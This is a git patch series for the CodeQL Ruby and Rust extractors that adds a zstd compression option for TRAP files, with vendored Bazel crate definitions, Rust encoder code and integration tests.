file mode 100644 index 000000000000..8fb981887a7a --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pkg-config-0.3.32.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "pkg_config", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=pkg-config", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.3.32", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel new file mode 100644 index 000000000000..2ba80632d93b --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-0.13.3.bazel @@ -0,0 +1,92 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "default", + "legacy", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.13.3", + deps = [ + "@vendor_ts__zstd-safe-7.2.4//:zstd_safe", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel new file mode 100644 index 000000000000..265b6514b701 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-safe-7.2.4.bazel @@ -0,0 +1,158 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd_safe", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "legacy", + "std", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-safe", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "7.2.4", + deps = [ + "@vendor_ts__zstd-safe-7.2.4//:build_script_build", + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:zstd_sys", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "arrays", + "legacy", + "std", + "zdict_builder", + ], + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + link_deps = [ + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:zstd_sys", + ], + pkg_name = "zstd-safe", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-safe", + "manual", + "noclippy", + "norustfmt", + ], + version = "7.2.4", + visibility = ["//visibility:private"], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel new file mode 100644 index 000000000000..7db2ad80d024 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel @@ -0,0 +1,157 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "zstd_sys", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "legacy", + "std", + "zdict_builder", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-sys", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "2.0.15+zstd.1.5.7", + deps = [ + "@vendor_ts__zstd-sys-2.0.15-zstd.1.5.7//:build_script_build", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "legacy", + "std", + "zdict_builder", + ], + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + links = "zstd", + pkg_name = "zstd-sys", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=zstd-sys", + "manual", + "noclippy", + "norustfmt", + ], + version = "2.0.15+zstd.1.5.7", + visibility = ["//visibility:private"], + deps = [ + "@vendor_ts__cc-1.2.7//:cc", + "@vendor_ts__pkg-config-0.3.32//:pkg_config", + ], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl index ee2044468e73..0247ee36d9f5 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl @@ -381,6 +381,7 @@ _NORMAL_DEPENDENCIES = { "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"), "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"), "tree-sitter": Label("@vendor_ts__tree-sitter-0.24.6//:tree_sitter"), + "zstd": Label("@vendor_ts__zstd-0.13.3//:zstd"), }, }, } @@ -1658,6 +1659,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.itoa-1.0.15.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__jobserver-0.1.32", + sha256 = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0", + type = "tar.gz", + urls = ["https://static.crates.io/crates/jobserver/0.1.32/download"], + strip_prefix = "jobserver-0.1.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.jobserver-0.1.32.bazel"), + ) + maybe( http_archive, name = "vendor_ts__jod-thread-0.1.2", @@ -2048,6 +2059,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.pin-project-lite-0.2.16.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__pkg-config-0.3.32", + sha256 = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c", + type = "tar.gz", + urls = ["https://static.crates.io/crates/pkg-config/0.3.32/download"], + strip_prefix = "pkg-config-0.3.32", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.pkg-config-0.3.32.bazel"), + ) + maybe( http_archive, name = "vendor_ts__portable-atomic-1.11.0", @@ -3647,6 +3668,36 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zerocopy-derive-0.8.20.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__zstd-0.13.3", + sha256 = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd/0.13.3/download"], + strip_prefix = "zstd-0.13.3", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-0.13.3.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__zstd-safe-7.2.4", + sha256 = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd-safe/7.2.4/download"], + strip_prefix = "zstd-safe-7.2.4", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-safe-7.2.4.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__zstd-sys-2.0.15-zstd.1.5.7", + sha256 = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237", + type = "tar.gz", + urls = ["https://static.crates.io/crates/zstd-sys/2.0.15+zstd.1.5.7/download"], + strip_prefix = "zstd-sys-2.0.15+zstd.1.5.7", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zstd-sys-2.0.15+zstd.1.5.7.bazel"), + ) + return [ struct(repo = "vendor_ts__anyhow-1.0.97", is_dev_dep = False), struct(repo = "vendor_ts__argfile-0.2.1", is_dev_dep = False), @@ -3698,6 +3749,7 @@ def crate_repositories(): struct(repo = "vendor_ts__tree-sitter-ruby-0.23.1", is_dev_dep = False), struct(repo = "vendor_ts__triomphe-0.1.14", is_dev_dep = False), struct(repo = "vendor_ts__ungrammar-1.16.1", is_dev_dep = False), + struct(repo = "vendor_ts__zstd-0.13.3", is_dev_dep = False), struct(repo = "vendor_ts__rand-0.9.0", is_dev_dep = True), struct(repo = "vendor_ts__tree-sitter-json-0.24.8", is_dev_dep = True), struct(repo = "vendor_ts__tree-sitter-ql-0.23.1", is_dev_dep = True), diff --git a/shared/tree-sitter-extractor/Cargo.toml b/shared/tree-sitter-extractor/Cargo.toml index 6bbda6dc83b8..3bda73a774d2 100644 --- a/shared/tree-sitter-extractor/Cargo.toml +++ b/shared/tree-sitter-extractor/Cargo.toml @@ -19,6 +19,7 @@ serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" chrono = { version = "0.4.40", features = ["serde"] } num_cpus = "1.16.0" +zstd = "0.13.3" [dev-dependencies] tree-sitter-ql = "0.23.1" From 923a2854cb3c9718f98bbff24fbcda3db23c7885 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 16:09:03 +0200 Subject: [PATCH 426/535] Ruby, Rust: add `zstd` compression option --- ruby/codeql-extractor.yml | 6 +++--- rust/codeql-extractor.yml | 6 +++--- rust/extractor/src/config.rs | 2 ++ .../hello-project/test_project.py | 1 + shared/tree-sitter-extractor/src/trap.rs | 17 +++++++++++++++-- 5 files changed, 24 insertions(+), 8 deletions(-) diff --git a/ruby/codeql-extractor.yml b/ruby/codeql-extractor.yml index 9b949a1a4abb..abb50db2a295 100644 --- a/ruby/codeql-extractor.yml +++ b/ruby/codeql-extractor.yml @@ -27,7 +27,7 @@ options: title: Controls compression for the TRAP files written by the extractor. description: > This option is only intended for use in debugging the extractor. Accepted - values are 'gzip' (the default, to write gzip-compressed TRAP) and 'none' - (to write uncompressed TRAP). + values are 'gzip' (the default, to write gzip-compressed TRAP) 'zstd' (to + write Zstandard-compressed TRAP) and 'none' (to write uncompressed TRAP). type: string - pattern: "^(none|gzip)$" + pattern: "^(none|gzip|zstd)$" diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml index 0ba77ee88d13..464a13e1c098 100644 --- a/rust/codeql-extractor.yml +++ b/rust/codeql-extractor.yml @@ -23,10 +23,10 @@ options: title: Controls compression for the TRAP files written by the extractor. description: > This option is only intended for use in debugging the extractor. Accepted - values are 'gzip' (to write gzip-compressed TRAP) and 'none' - (currently the default, to write uncompressed TRAP). + values are 'gzip' (the default, to write gzip-compressed TRAP) 'zstd' (to + write Zstandard-compressed TRAP) and 'none' (to write uncompressed TRAP). type: string - pattern: "^(none|gzip)$" + pattern: "^(none|gzip|zstd)$" cargo_target_dir: title: Directory to use for cargo output files. description: > diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index 3f3a37cf5f07..8124f825da3c 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -29,6 +29,7 @@ pub enum Compression { #[default] // TODO make gzip default None, Gzip, + Zstd, } impl From for trap::Compression { @@ -36,6 +37,7 @@ impl From for trap::Compression { match val { Compression::None => Self::None, Compression::Gzip => Self::Gzip, + Compression::Zstd => Self::Zstd, } } } diff --git a/rust/ql/integration-tests/hello-project/test_project.py b/rust/ql/integration-tests/hello-project/test_project.py index 5b0eae903aca..a8c5e3384fbc 100644 --- a/rust/ql/integration-tests/hello-project/test_project.py +++ b/rust/ql/integration-tests/hello-project/test_project.py @@ -20,6 +20,7 @@ def test_do_not_print_env(codeql, rust, rust_edition, cargo, check_env_not_dumpe @pytest.mark.ql_test("steps.ql", expected=".cargo.expected") @pytest.mark.parametrize(("rust_edition", "compression", "suffix"), [ pytest.param(2024, "gzip", ".gz", id="gzip"), + pytest.param(2024, "zstd", ".zst", id="zstd"), ]) def test_compression(codeql, rust, rust_edition, compression, suffix, cargo, rust_check_diagnostics, cwd): codeql.database.create(cleanup=False, _env={ diff --git a/shared/tree-sitter-extractor/src/trap.rs b/shared/tree-sitter-extractor/src/trap.rs index 4ad1e48eb6ba..a636dc885510 100644 --- a/shared/tree-sitter-extractor/src/trap.rs +++ b/shared/tree-sitter-extractor/src/trap.rs @@ -96,10 +96,17 @@ impl Writer { self.write_trap_entries(&mut trap_file) } Compression::Gzip => { - let trap_file = GzEncoder::new(trap_file, flate2::Compression::fast()); + let trap_file = GzEncoder::new(trap_file, Compression::GZIP_LEVEL); let mut trap_file = BufWriter::new(trap_file); self.write_trap_entries(&mut trap_file) } + Compression::Zstd => { + let trap_file = zstd::stream::Encoder::new(trap_file, Compression::ZSTD_LEVEL)?; + let mut trap_file = BufWriter::new(trap_file); + self.write_trap_entries(&mut trap_file)?; + trap_file.into_inner()?.finish()?; + Ok(()) + } } } @@ -107,7 +114,7 @@ impl Writer { for trap_entry in &self.trap_output { writeln!(file, "{}", trap_entry)?; } - std::io::Result::Ok(()) + Ok(()) } } @@ -280,9 +287,13 @@ fn limit_string(string: &str, max_size: usize) -> &str { pub enum Compression { None, Gzip, + Zstd, } impl Compression { + pub const ZSTD_LEVEL: i32 = 2; + pub const GZIP_LEVEL: flate2::Compression = flate2::Compression::fast(); + pub fn from_env(var_name: &str) -> Result { match std::env::var(var_name) { Ok(method) => match Compression::from_string(&method) { @@ -298,6 +309,7 @@ impl Compression { match s.to_lowercase().as_ref() { "none" => Some(Compression::None), "gzip" => Some(Compression::Gzip), + "zstd" => Some(Compression::Zstd), _ => None, } } @@ -306,6 +318,7 @@ impl Compression { match self { Compression::None => "trap", Compression::Gzip => "trap.gz", + Compression::Zstd => "trap.zst", } } } From 8248c50bdfeae82310104bb5e4705f80c579fab4 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 16:38:25 +0200 Subject: [PATCH 427/535] Rust: add `none` compression integration test --- .../hello-project/test_project.py | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/test_project.py b/rust/ql/integration-tests/hello-project/test_project.py index a8c5e3384fbc..7f53e78f7d49 100644 --- a/rust/ql/integration-tests/hello-project/test_project.py +++ b/rust/ql/integration-tests/hello-project/test_project.py @@ -19,14 +19,25 @@ def test_do_not_print_env(codeql, rust, rust_edition, cargo, check_env_not_dumpe @pytest.mark.ql_test("steps.ql", expected=".cargo.expected") @pytest.mark.parametrize(("rust_edition", "compression", "suffix"), [ - pytest.param(2024, "gzip", ".gz", id="gzip"), - pytest.param(2024, "zstd", ".zst", id="zstd"), + pytest.param(2024, "none", [], id="none"), + pytest.param(2024, "gzip", [".gz"], id="gzip"), + pytest.param(2024, "zstd", [".zst"], id="zstd"), ]) def test_compression(codeql, rust, rust_edition, compression, suffix, cargo, rust_check_diagnostics, cwd): - codeql.database.create(cleanup=False, _env={ - "CODEQL_EXTRACTOR_RUST_TRAP_COMPRESSION": compression, - }) + codeql.database.create( + _env={ + "CODEQL_EXTRACTOR_RUST_OPTION_TRAP_COMPRESSION": compression, + } + ) trap_files = [*(cwd / "test-db" / "trap").rglob("*.trap*")] - assert trap_files - files_with_wrong_format = [f for f in trap_files if f.suffix != suffix and f.name != "metadata.trap.gz"] - assert not files_with_wrong_format, f"Found trap files with wrong format: {files_with_wrong_format}" + assert trap_files, "No trap files found" + expected_suffixes = [".trap"] + suffix + + def is_of_expected_format(file): + return file.name == "metadata.trap.gz" or \ + file.suffixes[-len(expected_suffixes):] == expected_suffixes + + files_with_wrong_format = [ + f for f in trap_files if not is_of_expected_format(f) + ] + assert not files_with_wrong_format, f"Found trap files with wrong format" From fd00ed502d40e261e33d37dd8f9a5d6b7a39060c Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 28 May 2025 16:38:36 +0200 Subject: [PATCH 428/535] Ruby: add compression integration test --- .../compression/methods.expected | 1 + .../integration-tests/compression/methods.ql | 4 +++ .../integration-tests/compression/source.rb | 3 +++ ruby/ql/integration-tests/compression/test.py | 26 +++++++++++++++++++ 4 files changed, 34 insertions(+) create mode 100644 ruby/ql/integration-tests/compression/methods.expected create mode 100644 ruby/ql/integration-tests/compression/methods.ql create mode 100644 ruby/ql/integration-tests/compression/source.rb create mode 100644 ruby/ql/integration-tests/compression/test.py diff --git a/ruby/ql/integration-tests/compression/methods.expected b/ruby/ql/integration-tests/compression/methods.expected new file mode 100644 index 000000000000..2bdc091c80d9 --- /dev/null +++ b/ruby/ql/integration-tests/compression/methods.expected @@ -0,0 +1 @@ +| source.rb:1:1:3:3 | f | diff --git a/ruby/ql/integration-tests/compression/methods.ql b/ruby/ql/integration-tests/compression/methods.ql new file mode 100644 index 000000000000..208d26dee633 --- /dev/null +++ b/ruby/ql/integration-tests/compression/methods.ql @@ -0,0 +1,4 @@ +import codeql.ruby.AST + +from Method m +select m diff --git a/ruby/ql/integration-tests/compression/source.rb b/ruby/ql/integration-tests/compression/source.rb new file mode 100644 index 000000000000..360eabdab756 --- /dev/null +++ b/ruby/ql/integration-tests/compression/source.rb @@ -0,0 +1,3 @@ +def f + puts "hello" +end diff --git a/ruby/ql/integration-tests/compression/test.py b/ruby/ql/integration-tests/compression/test.py new file mode 100644 index 000000000000..6976b063d3e3 --- /dev/null +++ b/ruby/ql/integration-tests/compression/test.py @@ -0,0 +1,26 @@ +import pytest + + 